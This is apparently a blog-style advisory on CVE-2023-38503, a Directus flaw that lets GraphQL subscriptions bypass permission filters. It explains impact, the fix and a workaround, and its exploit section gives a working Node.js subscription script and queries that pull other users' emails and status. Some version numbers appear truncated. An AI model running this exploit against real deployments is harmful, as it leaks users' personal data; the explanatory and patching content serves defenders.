Directus is a popular, open-source headless CMS that acts as both an app dashboard and real-time API for SQL databases. In 2023, a major authorization vulnerability was discovered and registered as CVE-2023-38503. This flaw affects all Directus installations from version 10.3. up to (but not including) 10.5..

Below, I’ll explain the bug, why it’s dangerous, and how someone might abuse it. You’ll also see real code snippets and references for further reading, all in simple terms.

What’s the Problem?

GraphQL subscriptions allow clients to "listen" for changes in real-time (like new content or updates in the database). In Directus, permission filters usually prevent users from seeing data they shouldn’t. For example, you could configure your roles/permissions so users only see their own info with a filter like:

user_created IS $CURRENT_USER

This makes sure that, for REST or normal GraphQL queries, users only access items they made themselves.

The bug: With subscriptions, these permission filters are NOT correctly enforced. This means *any* authenticated user who subscribes could receive real-time updates about rows in any collection, even if those rows should be hidden according to your permissions.

You have the default permissions:

- For the directus_users collection, users should *only* see themselves (user_created IS $CURRENT_USER).

Attacker uses a subscription query like this:

subscription {
  users {
    id
    email
    first_name
    last_name
    status
  }
}

Actual behavior (vulnerable):

The attacker gets real-time updates about ANY user—the permission filter is effectively ignored for the subscription channel. Every time *any* user account changes, the attacker can see fields like email, status, etc.

This works for any collection, not just users.

Example Exploit (Step-By-Step)

Let’s take a test Directus instance running version 10.4., with GraphQL available at /graphql.

1. As an authenticated low-privilege user, connect via a GraphQL WebSocket client (or even Apollo Client).

Run the following subscription

const gql = require('graphql-tag')
const { SubscriptionClient } = require('subscriptions-transport-ws')

const client = new SubscriptionClient('ws://directus-server/graphql', {
  reconnect: true,
  connectionParams: {
    headers: {
      Authorization: 'Bearer <ACCESS_TOKEN>'
    }
  }
})

client.request({
  query: gql`
    subscription {
      users {
        id
        email
        status
      }
    }
  `
}).subscribe({
  next(data) { 
    console.log('User changed:', data)
  }
})

3. Whenever *any* Directus user changes, you’ll receive a message—even for accounts you have no access to.

*This breaks basic isolation between users and can leak sensitive user information.*

If using a browser-based tool

subscription {
  users {
    id
    email
    first_name
    last_name
  }
}

As soon as *any* user record is updated, you’ll see the changes, regardless of your role's filters.

Impact

- Data leakage: All users are impacted, especially in multi-user environments (internal dashboards, SaaS projects).
- Compliance risk: GDPR/PII legal exposure if personal data leaks.

Mitigation & Fix

- Patched in: Directus 10.5.
- Directus Security Advisory

Workaround if you cannot upgrade:
Turn off GraphQL subscriptions in your server/configuration until you can patch.

How This Happened

> *Permission filters were (correctly) enforced for queries and mutations, but the subscription resolver failed to check those filters on the events it broadcasted to each client.*

References

- NVD Details (CVE-2023-38503)
- GitHub Security Advisory
- Official Patch Release

Conclusion

If you use Directus and allow GraphQL subscriptions, you’re at risk until fully patched. The best defense is to upgrade ASAP to 10.5. or later. For shared/production servers where immediate patching isn’t possible, disabling subscriptions prevents the bug from leaking information.

Make vulnerability audits and permission filter tests a part of your security routine!

If you need help checking your Directus deployment, consult the upgrade guide or use static code analysis to confirm existing filters are enforced.


> Stay safe, upgrade promptly, and audit your permissions!

Timeline

Published on: 07/25/2023 23:15:00 UTC
Last modified on: 08/03/2023 15:33:00 UTC